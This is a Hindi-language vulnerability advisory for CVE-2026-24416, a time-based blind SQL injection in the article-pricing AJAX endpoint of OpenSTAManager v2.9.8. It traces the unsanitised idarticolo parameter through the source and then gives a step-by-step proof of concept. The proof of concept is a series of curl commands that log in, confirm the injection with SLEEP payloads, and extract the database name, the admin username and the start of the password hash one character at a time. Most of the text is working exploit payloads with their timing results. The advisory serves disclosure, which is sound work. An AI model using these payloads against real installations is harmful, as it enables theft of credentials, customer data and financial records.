
CVE-2026-24416 - OpenSTAManager में आर्टिकल मूल्य निर्धारण मॉड्यूल में Time-Based Blind SQL Injection है
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-24416 |
| गंभीरता | HIGH |
| सलाह | सलाह देखें |
| खोजकर्ता | Lukasz Rybak |
OpenSTAManager v2.9.8 के आर्टिकल मूल्य निर्धारण मॉड्यूल में गंभीर Time-Based Blind SQL Injection भेद्यता प्रमाणित हमलावरों को समय-आधारित Boolean अनुमान हमलों के माध्यम से उपयोगकर्ता क्रेडेंशियल्स, ग्राहक डेटा और वित्तीय रिकॉर्ड सहित संपूर्ण डेटाबेस सामग्री निकालने की अनुमति देती है।
स्थिति: ✅ लाइव इंस्टेंस (v2.9.8) और demo.osmbusiness.it (v2.9.7) पर पुष्टि एवं परीक्षण किया गया
संवेदनशील पैरामीटर: idarticolo (GET)
प्रभावित एंडपॉइंट: /ajax_complete.php?op=getprezzi
प्रभावित मॉड्यूल: Articoli (आर्टिकल/उत्पाद)
OpenSTAManager v2.9.8 में आर्टिकल मूल्य निर्धारण पूर्णता हैंडलर में एक गंभीर Time-Based Blind SQL Injection भेद्यता मौजूद है। एप्लिकेशन SQL क्वेरी में उपयोग करने से पहले idarticolo पैरामीटर को ठीक से सैनिटाइज़ नहीं करता है, जिससे हमलावर मनमाने SQL कमांड इंजेक्ट कर सकते हैं और समय-आधारित Boolean अनुमान के माध्यम से संवेदनशील डेटा निकाल सकते हैं।
भेद्यता श्रृंखला:
प्रवेश बिंदु: /ajax_complete.php (पंक्ति 27)
$op = get('op');
$result = AJAX::complete($op);
op पैरामीटर प्राप्त किया जाता है, लेकिन भेद्यता अन्य पैरामीटरों में है।
वितरण: /src/AJAX.php::complete() (पंक्ति 189)
$result = self::getCompleteResults($file, $resource);
निष्पादन: /src/AJAX.php::getCompleteResults() (पंक्ति 402)
require $file;
मॉड्यूल-विशिष्ट complete.php फ़ाइलें शामिल की जाती हैं।
संवेदनशील पैरामीटर: /modules/articoli/ajax/complete.php (पंक्ति 26)
$idarticolo = get('idarticolo');
idarticolo पैरामीटर GET अनुरोध से प्राप्त किया जाता है।
संवेदनशील SQL क्वेरी: /modules/articoli/ajax/complete.php (पंक्ति 70) प्राथमिक भेद्यता
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
प्रभाव: $idarticolo का prepare() के बिना सीधा संयोजन, जबकि $idanagrafica को ठीक से सैनिटाइज़ किया गया है।
संदर्भ - पूर्ण क्वेरी संरचना (पंक्तियाँ 39-74):
संवेदनशील क्वेरी एक UNION क्वेरी का हिस्सा है जो इनवॉइस और डिलीवरी नोट्स से मूल्य इतिहास प्राप्त करती है:
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ PROPERLY SANITIZED (Line 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ VULNERABLE - NO prepare() (Line 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
मूल कारण: डेवलपर ने पहले SELECT (पंक्ति 54) में prepare() का सही उपयोग किया, लेकिन UNION क्वेरी के दूसरे SELECT (पंक्ति 70) में इसका उपयोग करना भूल गया, जिससे एक असंगत सुरक्षा पैटर्न बन गया।
चरण 1: लॉगिन
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
चरण 2: भेद्यता सत्यापित करें (Time-Based SLEEP)
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Result: real 0m10.32s (10.32 seconds)
# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Result: real 0m3.36s (3.36 seconds)
# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Result: real 0m0.31s (0.31 seconds)
चरण 3: डेटा निष्कर्षण - डेटाबेस नाम
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)
# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)
# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')
# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')
चरण 4: संवेदनशील डेटा निकालें - व्यवस्थापक क्रेडेंशियल्स
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)
# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)
पेलोड स्पष्टीकरण:
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)